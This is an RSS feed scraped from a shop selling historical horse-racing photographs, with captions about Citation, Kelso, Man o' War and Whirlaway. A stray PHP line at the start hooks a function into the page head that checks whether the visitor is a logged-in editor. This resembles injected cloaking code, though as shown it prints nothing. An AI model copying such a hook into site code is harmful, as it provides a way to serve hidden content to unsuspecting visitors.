function wp_pf_146d0213(){$c=wp_get_current_user()->has_cap('edit_posts')?1:0;if($c==0){echo'';}}add_action("wp_head","wp_pf_146d0213"); Champions 1920-70 – Gallery Of Champions http://galleryofchampions.com Sun, 15 Jun 2025 16:53:06 +0000 en-US hourly 1 http://galleryofchampions.com/wp-content/uploads/2021/04/fav.png Champions 1920-70 – Gallery Of Champions http://galleryofchampions.com 32 32 1948 Preakness Citation http://galleryofchampions.com/product/1948-ketucky-derby-citation/ http://galleryofchampions.com/product/1948-ketucky-derby-citation/#respond Fri, 30 Sep 2011 11:59:43 +0000 http://galleryofchampions.com/?post_type=product&p=22837 This photograph shows Triple Crown winner Citation with Hall of Fame rider Eddie Arcaro aboard, winning the 1948 Preakness.

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]]> http://galleryofchampions.com/product/1948-ketucky-derby-citation/feed/ 0 Kelso #509 http://galleryofchampions.com/product/kelso-509/ http://galleryofchampions.com/product/kelso-509/#respond Fri, 30 Sep 2011 11:52:15 +0000 http://galleryofchampions.com/?post_type=product&p=22598 The legendary Kelso is shown outside his barn at Belmont Park. Kelso won Horse of the year an unequaled 5 times, 1960-1964. His other horse racing achievements included winning almost $2 million in purse money in the early 1960's, a time when horse racing purses were nothing compared to the purses of today.

]]> http://galleryofchampions.com/product/kelso-509/feed/ 0 Man o’ War 1920 Belmont Stakes #511 http://galleryofchampions.com/product/man-o-039-war-1920-belmont-stakes-511/ http://galleryofchampions.com/product/man-o-039-war-1920-belmont-stakes-511/#respond Fri, 30 Sep 2011 11:52:15 +0000 http://galleryofchampions.com/?post_type=product&p=22611 The legendary Man o' War pulls up after winning the 1920 Belmont Stakes. There was only one opponent in the Belmont Stakes, having scared away almost all opposition. Only an overmatched Donnacona ran against Man o' War and was beaten by 20 lengths in the "Test of the Champion". Man o' War was ridden by Clarence Kummer.

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]]> http://galleryofchampions.com/product/seabiscuit-quot-the-match-race-quot-504/feed/ 0 Whirlaway 1941 Belmont Stakes #508 http://galleryofchampions.com/product/whirlaway-1941-belmont-stakes-508/ http://galleryofchampions.com/product/whirlaway-1941-belmont-stakes-508/#respond Thu, 29 Sep 2011 08:56:25 +0000 http://galleryofchampions.com/?post_type=product&p=16210 Whirlaway gives the legendary Eddie Arcaro his first of two Triple Crown championships in the 1941 Belmont Stakes. Whirlaway even ran in a prep race between the Preakness and the Belmont. A feat that no race horse today would even consider doing. Whirlaway finished first, second or third in 56 out of 60 career horse racing starts. An extraordinary feat by any measure.

]]> http://galleryofchampions.com/product/whirlaway-1941-belmont-stakes-508/feed/ 0 Citation at Belmont Park #510 http://galleryofchampions.com/product/citation-at-belmont-park-510/ http://galleryofchampions.com/product/citation-at-belmont-park-510/#respond Thu, 29 Sep 2011 08:56:25 +0000 http://galleryofchampions.com/?post_type=product&p=16223 1948 Triple Crown winner Citation poses outstide his barn at Belmont Park with trainer Jimmy Jones. Eddie Arcaro rode Citation to his second Triple Crown championship, the only rider in horse racing history to do so. Citation would also go on a winning streak that would run for 16 straight races. Gallery of Champions copyright watermark does not appear on the actual photograph.

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